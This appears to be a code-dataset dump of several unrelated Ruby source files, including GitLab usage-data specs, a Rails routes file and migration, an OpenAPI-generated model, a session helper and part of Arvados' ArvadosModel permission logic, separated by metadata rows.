create(:issue, project: project, description: description_with_embed)
create(:issue, project: project)
end
it_behaves_like('zero count')
end
end
context 'with an un-integrated project' do
context 'with one issue having a grafana link in the description and one without' do
before do
create(:issue, project: project, description: description_with_embed)
create(:issue, project: project)
end
it_behaves_like('zero count')
end
end
end
describe ".operating_system" do
let(:ohai_data) { { "platform" => "ubuntu", "platform_version" => "20.04" } }
before do
allow_next_instance_of(Ohai::System) do |ohai|
allow(ohai).to receive(:data).and_return(ohai_data)
end
end
subject { described_class.operating_system }
it { is_expected.to eq("ubuntu-20.04") }
context 'when on Debian with armv architecture' do
let(:ohai_data) { { "platform" => "debian", "platform_version" => "10", 'kernel' => { 'machine' => 'armv' } } }
it { is_expected.to eq("raspbian-10") }
end
end
describe ".system_usage_data_settings" do
before do
allow(described_class).to receive(:operating_system).and_return('ubuntu-20.04')
end
subject { described_class.system_usage_data_settings }
it 'gathers settings usage data', :aggregate_failures do
expect(subject[:settings][:ldap_encrypted_secrets_enabled]).to eq(Gitlab::Auth::Ldap::Config.encrypted_secrets.active?)
end
it 'populates operating system information' do
expect(subject[:settings][:operating_system]).to eq('ubuntu-20.04')
end
end
end
describe '.merge_requests_users', :clean_gitlab_redis_shared_state do
let(:time_period) { { created_at: 2.days.ago..time } }
let(:time) { Time.current }
before do
counter = Gitlab::UsageDataCounters::TrackUniqueEvents
merge_request = Event::TARGET_TYPES[:merge_request]
design = Event::TARGET_TYPES[:design]
counter.track_event(event_action: :commented, event_target: merge_request, author_id: 1, time: time)
counter.track_event(event_action: :opened, event_target: merge_request, author_id: 1, time: time)
counter.track_event(event_action: :merged, event_target: merge_request, author_id: 2, time: time)
counter.track_event(event_action: :closed, event_target: merge_request, author_id: 3, time: time)
counter.track_event(event_action: :opened, event_target: merge_request, author_id: 4, time: time - 3.days)
counter.track_event(event_action: :created, event_target: design, author_id: 5, time: time)
end
it 'returns the distinct count of users using merge requests (via events table) within the specified time period' do
expect(described_class.merge_requests_users(time_period)).to eq(3)
end
end
def for_defined_days_back(days: [31, 3])
days.each do |n|
travel_to(n.days.ago) do
yield
end
end
end
describe '#action_monthly_active_users', :clean_gitlab_redis_shared_state do
let(:time_period) { { created_at: 2.days.ago..time } }
let(:time) { Time.zone.now }
let(:user1) { build(:user, id: 1) }
let(:user2) { build(:user, id: 2) }
let(:user3) { build(:user, id: 3) }
let(:user4) { build(:user, id: 4) }
before do
counter = Gitlab::UsageDataCounters::TrackUniqueEvents
project = Event::TARGET_TYPES[:project]
wiki = Event::TARGET_TYPES[:wiki]
design = Event::TARGET_TYPES[:design]
counter.track_event(event_action: :pushed, event_target: project, author_id: 1)
counter.track_event(event_action: :pushed, event_target: project, author_id: 1)
counter.track_event(event_action: :pushed, event_target: project, author_id: 2)
counter.track_event(event_action: :pushed, event_target: project, author_id: 3)
counter.track_event(event_action: :pushed, event_target: project, author_id: 4, time: time - 3.days)
counter.track_event(event_action: :created, event_target: wiki, author_id: 3)
counter.track_event(event_action: :created, event_target: design, author_id: 3)
counter.track_event(event_action: :created, event_target: design, author_id: 4)
counter = Gitlab::UsageDataCounters::EditorUniqueCounter
counter.track_web_ide_edit_action(author: user1)
counter.track_web_ide_edit_action(author: user1)
counter.track_sfe_edit_action(author: user1)
counter.track_snippet_editor_edit_action(author: user1)
counter.track_snippet_editor_edit_action(author: user1, time: time - 3.days)
counter.track_web_ide_edit_action(author: user2)
counter.track_sfe_edit_action(author: user2)
counter.track_web_ide_edit_action(author: user3, time: time - 3.days)
counter.track_snippet_editor_edit_action(author: user3)
counter.track_sse_edit_action(author: user1)
counter.track_sse_edit_action(author: user1)
counter.track_sse_edit_action(author: user2)
counter.track_sse_edit_action(author: user3)
counter.track_sse_edit_action(author: user2, time: time - 3.days)
end
it 'returns the distinct count of user actions within the specified time period' do
expect(described_class.action_monthly_active_users(time_period)).to eq(
{
action_monthly_active_users_design_management: 2,
action_monthly_active_users_project_repo: 3,
action_monthly_active_users_wiki_repo: 1,
action_monthly_active_users_git_write: 4,
action_monthly_active_users_web_ide_edit: 2,
action_monthly_active_users_sfe_edit: 2,
action_monthly_active_users_snippet_editor_edit: 2,
action_monthly_active_users_ide_edit: 3,
action_monthly_active_users_sse_edit: 3
}
)
end
end
describe '.analytics_unique_visits_data' do
subject { described_class.analytics_unique_visits_data }
it 'returns the number of unique visits to pages with analytics features' do
::Gitlab::Analytics::UniqueVisits.analytics_events.each do |target|
expect_any_instance_of(::Gitlab::Analytics::UniqueVisits).to receive(:unique_visits_for).with(targets: target).and_return(123)
end
expect_any_instance_of(::Gitlab::Analytics::UniqueVisits).to receive(:unique_visits_for).with(targets: :analytics).and_return(543)
expect_any_instance_of(::Gitlab::Analytics::UniqueVisits).to receive(:unique_visits_for).with(targets: :analytics, start_date: 4.weeks.ago.to_date, end_date: Date.current).and_return(987)
expect(subject).to eq({
analytics_unique_visits: {
'g_analytics_contribution' => 123,
'g_analytics_insights' => 123,
'g_analytics_issues' => 123,
'g_analytics_productivity' => 123,
'g_analytics_valuestream' => 123,
'p_analytics_pipelines' => 123,
'p_analytics_code_reviews' => 123,
'p_analytics_valuestream' => 123,
'p_analytics_insights' => 123,
'p_analytics_issues' => 123,
'p_analytics_repo' => 123,
'i_analytics_cohorts' => 123,
'i_analytics_dev_ops_score' => 123,
'i_analytics_instance_statistics' => 123,
'p_analytics_merge_request' => 123,
'g_analytics_merge_request' => 123,
'analytics_unique_visits_for_any_target' => 543,
'analytics_unique_visits_for_any_target_monthly' => 987
}
})
end
end
describe '.compliance_unique_visits_data' do
subject { described_class.compliance_unique_visits_data }
before do
allow_next_instance_of(::Gitlab::Analytics::UniqueVisits) do |instance|
::Gitlab::Analytics::UniqueVisits.compliance_events.each do |target|
allow(instance).to receive(:unique_visits_for).with(targets: target).and_return(123)
end
allow(instance).to receive(:unique_visits_for).with(targets: :compliance).and_return(543)
allow(instance).to receive(:unique_visits_for).with(targets: :compliance, start_date: 4.weeks.ago.to_date, end_date: Date.current).and_return(987)
end
end
it 'returns the number of unique visits to pages with compliance features' do
expect(subject).to eq({
compliance_unique_visits: {
'g_compliance_dashboard' => 123,
'g_compliance_audit_events' => 123,
'i_compliance_credential_inventory' => 123,
'i_compliance_audit_events' => 123,
'a_compliance_audit_events_api' => 123,
'compliance_unique_visits_for_any_target' => 543,
'compliance_unique_visits_for_any_target_monthly' => 987
}
})
end
end
describe '.search_unique_visits_data' do
subject { described_class.search_unique_visits_data }
before do
events = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category('search')
events.each do |event|
allow(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:unique_events).with(event_names: event, start_date: 7.days.ago.to_date, end_date: Date.current).and_return(123)
end
allow(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:unique_events).with(event_names: events, start_date: 7.days.ago.to_date, end_date: Date.current).and_return(543)
allow(::Gitlab::UsageDataCounters::HLLRedisCounter).to receive(:unique_events).with(event_names: events, start_date: 4.weeks.ago.to_date, end_date: Date.current).and_return(987)
end
it 'returns the number of unique visits to pages with search features' do
expect(subject).to eq({
search_unique_visits: {
'i_search_total' => 123,
'i_search_advanced' => 123,
'i_search_paid' => 123,
'search_unique_visits_for_any_target_weekly' => 543,
'search_unique_visits_for_any_target_monthly' => 987
}
})
end
end
describe 'redis_hll_counters' do
subject { described_class.redis_hll_counters }
let(:categories) { ::Gitlab::UsageDataCounters::HLLRedisCounter.categories }
let(:ineligible_total_categories) do
%w[source_code ci_secrets_management incident_management_alerts snippets terraform pipeline_authoring]
end
it 'has all known_events' do
expect(subject).to have_key(:redis_hll_counters)
expect(subject[:redis_hll_counters].keys).to match_array(categories)
categories.each do |category|
keys = ::Gitlab::UsageDataCounters::HLLRedisCounter.events_for_category(category)
metrics = keys.map { |key| "#{key}_weekly" } + keys.map { |key| "#{key}_monthly" }
if ineligible_total_categories.exclude?(category)
metrics.append("#{category}_total_unique_counts_weekly", "#{category}_total_unique_counts_monthly")
end
expect(subject[:redis_hll_counters][category].keys).to match_array(metrics)
end
end
end
describe '.aggregated_metrics_weekly' do
subject(:aggregated_metrics_payload) { described_class.aggregated_metrics_weekly }
it 'uses ::Gitlab::Usage::Metrics::Aggregates::Aggregate#weekly_data', :aggregate_failures do
expect_next_instance_of(::Gitlab::Usage::Metrics::Aggregates::Aggregate) do |instance|
expect(instance).to receive(:weekly_data).and_return(global_search_gmau: 123)
end
expect(aggregated_metrics_payload).to eq(aggregated_metrics: { global_search_gmau: 123 })
end
end
describe '.aggregated_metrics_monthly' do
subject(:aggregated_metrics_payload) { described_class.aggregated_metrics_monthly }
it 'uses ::Gitlab::Usage::Metrics::Aggregates::Aggregate#monthly_data', :aggregate_failures do
expect_next_instance_of(::Gitlab::Usage::Metrics::Aggregates::Aggregate) do |instance|
expect(instance).to receive(:monthly_data).and_return(global_search_gmau: 123)
end
expect(aggregated_metrics_payload).to eq(aggregated_metrics: { global_search_gmau: 123 })
end
end
describe '.service_desk_counts' do
subject { described_class.send(:service_desk_counts) }
let(:project) { create(:project, :service_desk_enabled) }
it 'gathers Service Desk data' do
create_list(:issue, 2, :confidential, author: User.support_bot, project: project)
expect(subject).to eq(service_desk_enabled_projects: 1,
service_desk_issues: 2)
end
end
describe '.snowplow_event_counts' do
let_it_be(:time_period) { { collector_tstamp: 8.days.ago..1.day.ago } }
context 'when self-monitoring project exists' do
let_it_be(:project) { create(:project) }
before do
stub_application_setting(self_monitoring_project: project)
end
context 'and product_analytics FF is enabled for it' do
before do
stub_feature_flags(product_analytics_tracking: true)
create(:product_analytics_event, project: project, se_category: 'epics', se_action: 'promote')
create(:product_analytics_event, project: project, se_category: 'epics', se_action: 'promote', collector_tstamp: 2.days.ago)
create(:product_analytics_event, project: project, se_category: 'epics', se_action: 'promote', collector_tstamp: 9.days.ago)
create(:product_analytics_event, project: project, se_category: 'foo', se_action: 'bar', collector_tstamp: 2.days.ago)
end
it 'returns promoted_issues for the time period' do
expect(described_class.snowplow_event_counts(time_period)[:promoted_issues]).to eq(1)
end
end
context 'and product_analytics FF is disabled' do
before do
stub_feature_flags(product_analytics_tracking: false)
end
it 'returns an empty hash' do
expect(described_class.snowplow_event_counts(time_period)).to eq({})
end
end
end
context 'when self-monitoring project does not exist' do
it 'returns an empty hash' do
expect(described_class.snowplow_event_counts(time_period)).to eq({})
end
end
end
end
| 42.220316 | 219 | 0.686272 |
03fc41beb82fdf09e7659160fdc3b0d8a966eedc | 1,001 | Rails.application.routes.draw do
if Settings.homepage.external_url
root to: redirect(Settings.homepage.external_url)
else
root 'home#index'
end
get 'checklist' => 'home#checklist'
get 'terms_and_conditions' => 'home#terms_and_conditions'
get 'accessibility-statement' => 'home#accessibility_statement'
get 'privacy-policy' => 'home#privacy_policy'
get 'cookies' => 'home#cookies'
put :cookies, to: 'home#update', as: :set_cookie_preference
resources :questions, only: [:edit, :update], path_names: { edit: '' }
resource :summary, only: :show
resource :submission, only: :create
resource :confirmation, only: :show do
get :done
get :refund
get :et
end
resource :session, only: :destroy do
get :start
post :finish
end
resource :help_request, only: %i[new create], path: 'ask-for-help'
get 'ask-for-help' => 'help_requests#new'
get 'ping' => 'health_status/ping#show'
get 'healthcheck' => 'health_status/health_check#show'
end
| 25.666667 | 72 | 0.694306 |
03bf81f63a6e7049d2945da9d775283462212a1f | 320 | # frozen_string_literal: true
class RemoveColumnsFromGliders < ActiveRecord::Migration[6.1]
def change
remove_column :gliders, :favorite_courses_base
remove_column :gliders, :favorite_courses_level_3
remove_column :gliders, :favorite_courses_level_6
remove_column :gliders, :favored_courses
end
end
| 29.090909 | 61 | 0.8 |
e272f40e5f78bf9ddec598fc59e5fb9ef8ae6bd3 | 142 |
newparam(:cwd) do
desc <<-EOD
The default directory from where the scripts will be run. If not specfied, this will be /tmp.
EOD
end
| 15.777778 | 96 | 0.697183 |
e8fdb733a6278d0dde262f020fcb6280f34b1d38 | 7,272 | =begin
#OpenAPI Petstore
#This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \" \\
The version of the OpenAPI document: 1.0.0
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 5.0.0-beta2
=end
require 'date'
module Petstore
class ArrayTest
attr_accessor :array_of_string
attr_accessor :array_array_of_integer
attr_accessor :array_array_of_model
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'array_of_string' => :'array_of_string',
:'array_array_of_integer' => :'array_array_of_integer',
:'array_array_of_model' => :'array_array_of_model'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'array_of_string' => :'Array<String>',
:'array_array_of_integer' => :'Array<Array<Integer>>',
:'array_array_of_model' => :'Array<Array<ReadOnlyFirst>>'
}
end
# List of attributes with nullable: true
def self.openapi_nullable
Set.new([
])
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
fail ArgumentError, "The input argument (attributes) must be a hash in `Petstore::ArrayTest` initialize method"
end
# check to see if the attribute exists and convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h|
if (!self.class.attribute_map.key?(k.to_sym))
fail ArgumentError, "`#{k}` is not a valid attribute in `Petstore::ArrayTest`. Please check the name to make sure it's valid. List of attributes: " + self.class.attribute_map.keys.inspect
end
h[k.to_sym] = v
}
if attributes.key?(:'array_of_string')
if (value = attributes[:'array_of_string']).is_a?(Array)
self.array_of_string = value
end
end
if attributes.key?(:'array_array_of_integer')
if (value = attributes[:'array_array_of_integer']).is_a?(Array)
self.array_array_of_integer = value
end
end
if attributes.key?(:'array_array_of_model')
if (value = attributes[:'array_array_of_model']).is_a?(Array)
self.array_array_of_model = value
end
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
array_of_string == o.array_of_string &&
array_array_of_integer == o.array_array_of_integer &&
array_array_of_model == o.array_array_of_model
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Integer] Hash code
def hash
[array_of_string, array_array_of_integer, array_array_of_model].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def self.build_from_hash(attributes)
new.build_from_hash(attributes)
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.openapi_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
elsif attributes[self.class.attribute_map[key]].nil? && self.class.openapi_nullable.include?(key)
self.send("#{key}=", nil)
end
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :Boolean
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
Petstore.const_get(type).build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
if value.nil?
is_nullable = self.class.openapi_nullable.include?(attr)
next if !is_nullable || (is_nullable && !instance_variable_defined?(:"@#{attr}"))
end
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 31.2103 | 197 | 0.631876 |
1da75f11b7d6b09d1930ca636daa9fef15973f03 | 1,599 | module SessionsHelper
# Logs in the given user.
def log_in(user)
session[:user_id] = user.id
end
def remember(user)
user.remember
cookies.permanent.signed[:user_id] = user.id
cookies.permanent[:remember_token] = user.remember_token
end
# Returns true if the given user is the current user.
def current_user?(user)
user == current_user
end
# Returns the user corresponding to the remember token cookie.
def current_user
if (user_id = session[:user_id])
@current_user ||= User.find_by(id: user_id)
elsif (user_id = cookies.signed[:user_id])
user = User.find_by(id: user_id)
if user && user.authenticated?(:remember, cookies[:remember_token])
log_in user
@current_user = user
end
end
end
# Returns true if the user is logged in, false otherwise.
def logged_in?
!current_user.nil?
end
# Logs out the current user.
def log_out
session.delete(:user_id)
@current_user = nil
end
# Forgets a persistent session.
def forget(user)
user.forget
cookies.delete(:user_id)
cookies.delete(:remember_token)
end
# Logs out the current user.
def log_out
forget(current_user)
session.delete(:user_id)
@current_user = nil
end
# Redirects to stored location (or to the default).
def redirect_back_or(default)
redirect_to(session[:forwarding_url] || default)
session.delete(:forwarding_url)
end
# Stores the URL trying to be accessed.
def store_location
session[:forwarding_url] = request.original_url if request.get?
end
end | 23.514706 | 74 | 0.686054 |
1c842c48d6bf1d283ae08608dc242967b0cc2b56 | 32,509 | # Copyright (C) The Arvados Authors. All rights reserved.
#
# SPDX-License-Identifier: AGPL-3.0
require 'arvados_model_updates'
require 'has_uuid'
require 'record_filters'
require 'serializers'
require 'request_error'
class ArvadosModel < ApplicationRecord
self.abstract_class = true
include ArvadosModelUpdates
include CurrentApiClient # current_user, current_api_client, etc.
include DbCurrentTime
extend RecordFilters
after_find :schedule_restoring_changes
after_initialize :log_start_state
before_save :ensure_permission_to_save
before_save :ensure_owner_uuid_is_permitted
before_save :ensure_ownership_path_leads_to_user
before_destroy :ensure_owner_uuid_is_permitted
before_destroy :ensure_permission_to_destroy
before_create :update_modified_by_fields
before_update :maybe_update_modified_by_fields
after_create :log_create
after_update :log_update
after_destroy :log_destroy
before_validation :normalize_collection_uuids
before_validation :set_default_owner
validate :ensure_valid_uuids
# Note: This only returns permission links. It does not account for
# permissions obtained via user.is_admin or
# user.uuid==object.owner_uuid.
has_many(:permissions,
->{where(link_class: 'permission')},
foreign_key: :head_uuid,
class_name: 'Link',
primary_key: :uuid)
# If async is true at create or update, permission graph
# update is deferred allowing making multiple calls without the performance
# penalty.
attr_accessor :async_permissions_update
# Ignore listed attributes on mass assignments
def self.protected_attributes
[]
end
class PermissionDeniedError < RequestError
def http_status
403
end
end
class AlreadyLockedError < RequestError
def http_status
422
end
end
class LockFailedError < RequestError
def http_status
422
end
end
class InvalidStateTransitionError < RequestError
def http_status
422
end
end
class UnauthorizedError < RequestError
def http_status
401
end
end
class UnresolvableContainerError < RequestError
def http_status
422
end
end
def self.kind_class(kind)
kind.match(/^arvados\#(.+)$/)[1].classify.safe_constantize rescue nil
end
def href
"#{current_api_base}/#{self.class.to_s.pluralize.underscore}/#{self.uuid}"
end
def self.permit_attribute_params raw_params
# strong_parameters does not provide security: permissions are
# implemented with before_save hooks.
#
# The following permit! is necessary even with
# "ActionController::Parameters.permit_all_parameters = true",
# because permit_all does not permit nested attributes.
raw_params ||= {}
if raw_params
raw_params = raw_params.to_hash
raw_params.delete_if { |k, _| self.protected_attributes.include? k }
serialized_attributes.each do |colname, coder|
param = raw_params[colname.to_sym]
if param.nil?
# ok
elsif !param.is_a?(coder.object_class)
raise ArgumentError.new("#{colname} parameter must be #{coder.object_class}, not #{param.class}")
elsif has_nonstring_keys?(param)
raise ArgumentError.new("#{colname} parameter cannot have non-string hash keys")
end
end
# Check JSONB columns that aren't listed on serialized_attributes
columns.select{|c| c.type == :jsonb}.collect{|j| j.name}.each do |colname|
if serialized_attributes.include? colname || raw_params[colname.to_sym].nil?
next
end
if has_nonstring_keys?(raw_params[colname.to_sym])
raise ArgumentError.new("#{colname} parameter cannot have non-string hash keys")
end
end
end
ActionController::Parameters.new(raw_params).permit!
end
def initialize raw_params={}, *args
super(self.class.permit_attribute_params(raw_params), *args)
end
# Reload "old attributes" for logging, too.
def reload(*args)
super
log_start_state
self
end
def self.create raw_params={}, *args
super(permit_attribute_params(raw_params), *args)
end
def update_attributes raw_params={}, *args
super(self.class.permit_attribute_params(raw_params), *args)
end
def self.selectable_attributes(template=:user)
# Return an array of attribute name strings that can be selected
# in the given template.
api_accessible_attributes(template).map { |attr_spec| attr_spec.first.to_s }
end
def self.searchable_columns operator
textonly_operator = !operator.match(/[<=>]/)
self.columns.select do |col|
case col.type
when :string, :text
true
when :datetime, :integer, :boolean
!textonly_operator
else
false
end
end.map(&:name)
end
def self.attribute_column attr
self.columns.select { |col| col.name == attr.to_s }.first
end
def self.attributes_required_columns
# This method returns a hash. Each key is the name of an API attribute,
# and it's mapped to a list of database columns that must be fetched
# to generate that attribute.
# This implementation generates a simple map of attributes to
# matching column names. Subclasses can override this method
# to specify that method-backed API attributes need to fetch
# specific columns from the database.
all_columns = columns.map(&:name)
api_column_map = Hash.new { |hash, key| hash[key] = [] }
methods.grep(/^api_accessible_\w+$/).each do |method_name|
next if method_name == :api_accessible_attributes
send(method_name).each_pair do |api_attr_name, col_name|
col_name = col_name.to_s
if all_columns.include?(col_name)
api_column_map[api_attr_name.to_s] |= [col_name]
end
end
end
api_column_map
end
def self.ignored_select_attributes
["href", "kind", "etag"]
end
def self.columns_for_attributes(select_attributes)
if select_attributes.empty?
raise ArgumentError.new("Attribute selection list cannot be empty")
end
api_column_map = attributes_required_columns
invalid_attrs = []
select_attributes.each do |s|
next if ignored_select_attributes.include? s
if not s.is_a? String or not api_column_map.include? s
invalid_attrs << s
end
end
if not invalid_attrs.empty?
raise ArgumentError.new("Invalid attribute(s): #{invalid_attrs.inspect}")
end
# Given an array of attribute names to select, return an array of column
# names that must be fetched from the database to satisfy the request.
select_attributes.flat_map { |attr| api_column_map[attr] }.uniq
end
def self.default_orders
["#{table_name}.modified_at desc", "#{table_name}.uuid"]
end
def self.unique_columns
["id", "uuid"]
end
def self.limit_index_columns_read
# This method returns a list of column names.
# If an index request reads that column from the database,
# APIs that return lists will only fetch objects until reaching
# max_index_database_read bytes of data from those columns.
[]
end
# If current user can manage the object, return an array of uuids of
# users and groups that have permission to write the object. The
# first two elements are always [self.owner_uuid, current user's
# uuid].
#
# If current user can write but not manage the object, return
# [self.owner_uuid, current user's uuid].
#
# If current user cannot write this object, just return
# [self.owner_uuid].
def writable_by
return [owner_uuid] if not current_user
unless (owner_uuid == current_user.uuid or
current_user.is_admin or
(current_user.groups_i_can(:manage) & [uuid, owner_uuid]).any?)
if ((current_user.groups_i_can(:write) + [current_user.uuid]) &
[uuid, owner_uuid]).any?
return [owner_uuid, current_user.uuid]
else
return [owner_uuid]
end
end
[owner_uuid, current_user.uuid] + permissions.collect do |p|
if ['can_write', 'can_manage'].index p.name
p.tail_uuid
end
end.compact.uniq
end
# Return a query with read permissions restricted to the union of the
# permissions of the members of users_list, i.e. if something is readable by
# any user in users_list, it will be readable in the query returned by this
# function.
def self.readable_by(*users_list)
# Get rid of troublesome nils
users_list.compact!
# Load optional keyword arguments, if they exist.
if users_list.last.is_a? Hash
kwargs = users_list.pop
else
kwargs = {}
end
# Collect the UUIDs of the authorized users.
sql_table = kwargs.fetch(:table_name, table_name)
include_trash = kwargs.fetch(:include_trash, false)
include_old_versions = kwargs.fetch(:include_old_versions, false)
sql_conds = nil
user_uuids = users_list.map { |u| u.uuid }
all_user_uuids = []
# For details on how the trashed_groups table is constructed, see
# see db/migrate/20200501150153_permission_table.rb
exclude_trashed_records = ""
if !include_trash and (sql_table == "groups" or sql_table == "collections") then
# Only include records that are not trashed
exclude_trashed_records = "AND (#{sql_table}.trash_at is NULL or #{sql_table}.trash_at > statement_timestamp())"
end
trashed_check = ""
if !include_trash && sql_table != "api_client_authorizations"
trashed_check = "#{sql_table}.owner_uuid NOT IN (SELECT group_uuid FROM #{TRASHED_GROUPS} " +
"where trash_at <= statement_timestamp()) #{exclude_trashed_records}"
end
if users_list.select { |u| u.is_admin }.any?
# Admin skips most permission checks, but still want to filter on trashed items.
if !include_trash && sql_table != "api_client_authorizations"
# Only include records where the owner is not trashed
sql_conds = trashed_check
end
else
# The core of the permission check is a join against the
# materialized_permissions table to determine if the user has at
# least read permission to either the object itself or its
# direct owner (if traverse_owned is true). See
# db/migrate/20200501150153_permission_table.rb for details on
# how the permissions are computed.
# A user can have can_manage access to another user, this grants
# full access to all that user's stuff. To implement that we
# need to include those other users in the permission query.
# This was previously implemented by embedding the subquery
# directly into the query, but it was discovered later that this
# causes the Postgres query planner to do silly things because
# the query heuristics assumed the subquery would have a lot
# more rows that it does, and choose a bad merge strategy. By
# doing the query here and embedding the result as a constant,
# Postgres also knows exactly how many items there are and can
# choose the right query strategy.
#
# (note: you could also do this with a temporary table, but that
# would require all every request be wrapped in a transaction,
# which is not currently the case).
all_user_uuids = ActiveRecord::Base.connection.exec_query %{
#{USER_UUIDS_SUBQUERY_TEMPLATE % {user: "'#{user_uuids.join "', '"}'", perm_level: 1}}
},
'readable_by.user_uuids'
user_uuids_subquery = ":user_uuids"
# Note: it is possible to combine the direct_check and
# owner_check into a single IN (SELECT) clause, however it turns
# out query optimizer doesn't like it and forces a sequential
# table scan. Constructing the query with separate IN (SELECT)
# clauses enables it to use the index.
#
# see issue 13208 for details.
# Match a direct read permission link from the user to the record uuid
direct_check = "#{sql_table}.uuid IN (SELECT target_uuid FROM #{PERMISSION_VIEW} "+
"WHERE user_uuid IN (#{user_uuids_subquery}) AND perm_level >= 1)"
# Match a read permission for the user to the record's
# owner_uuid. This is so we can have a permissions table that
# mostly consists of users and groups (projects are a type of
# group) and not have to compute and list user permission to
# every single object in the system.
#
# Don't do this for API keys (special behavior) or groups
# (already covered by direct_check).
#
# The traverse_owned flag indicates whether the permission to
# read an object also implies transitive permission to read
# things the object owns. The situation where this is important
# are determining if we can read an object owned by another
# user. This makes it possible to have permission to read the
# user record without granting permission to read things the
# other user owns.
owner_check = ""
if sql_table != "api_client_authorizations" and sql_table != "groups" then
owner_check = "#{sql_table}.owner_uuid IN (SELECT target_uuid FROM #{PERMISSION_VIEW} "+
"WHERE user_uuid IN (#{user_uuids_subquery}) AND perm_level >= 1 AND traverse_owned) "
# We want to do owner_check before direct_check in the OR
# clause. The order of the OR clause isn't supposed to
# matter, but in practice, it does -- apparently in the
# absence of other hints, it uses the ordering from the query.
# For certain types of queries (like filtering on owner_uuid),
# every item will match the owner_check clause, so then
# Postgres will optimize out the direct_check entirely.
direct_check = " OR " + direct_check
end
if Rails.configuration.Users.RoleGroupsVisibleToAll &&
sql_table == "groups" &&
users_list.select { |u| u.is_active }.any?
# All role groups are readable (but we still need the other
# direct_check clauses to handle non-role groups).
direct_check += " OR #{sql_table}.group_class = 'role'"
end
links_cond = ""
if sql_table == "links"
# 1) Match permission links incoming or outgoing on the
# user, i.e. granting permission on the user, or granting
# permission to the user.
#
# 2) Match permission links which grant permission on an
# object that this user can_manage.
#
links_cond = "OR (#{sql_table}.link_class IN (:permission_link_classes) AND "+
" ((#{sql_table}.head_uuid IN (#{user_uuids_subquery}) OR #{sql_table}.tail_uuid IN (#{user_uuids_subquery})) OR " +
" #{sql_table}.head_uuid IN (SELECT target_uuid FROM #{PERMISSION_VIEW} "+
" WHERE user_uuid IN (#{user_uuids_subquery}) AND perm_level >= 3))) "
end
sql_conds = "(#{owner_check} #{direct_check} #{links_cond}) #{trashed_check.empty? ? "" : "AND"} #{trashed_check}"
end
if !include_old_versions && sql_table == "collections"
exclude_old_versions = "#{sql_table}.uuid = #{sql_table}.current_version_uuid"
if sql_conds.nil?
sql_conds = exclude_old_versions
else
sql_conds += " AND #{exclude_old_versions}"
end
end
self.where(sql_conds,
user_uuids: all_user_uuids.collect{|c| c["target_uuid"]},
permission_link_classes: ['permission'])
end
def save_with_unique_name!
uuid_was = uuid
name_was = name
max_retries = 2
transaction do
conn = ActiveRecord::Base.connection
conn.exec_query 'SAVEPOINT save_with_unique_name'
begin
save!
rescue ActiveRecord::RecordNotUnique => rn
raise if max_retries == 0
max_retries -= 1
conn.exec_query 'ROLLBACK TO SAVEPOINT save_with_unique_name'
# Dig into the error to determine if it is specifically calling out a
# (owner_uuid, name) uniqueness violation. In this specific case, and
# the client requested a unique name with ensure_unique_name==true,
# update the name field and try to save again. Loop as necessary to
# discover a unique name. It is necessary to handle name choosing at
# this level (as opposed to the client) to ensure that record creation
# never fails due to a race condition.
err = rn.cause
raise unless err.is_a?(PG::UniqueViolation)
# Unfortunately ActiveRecord doesn't abstract out any of the
# necessary information to figure out if this the error is actually
# the specific case where we want to apply the ensure_unique_name
# behavior, so the following code is specialized to Postgres.
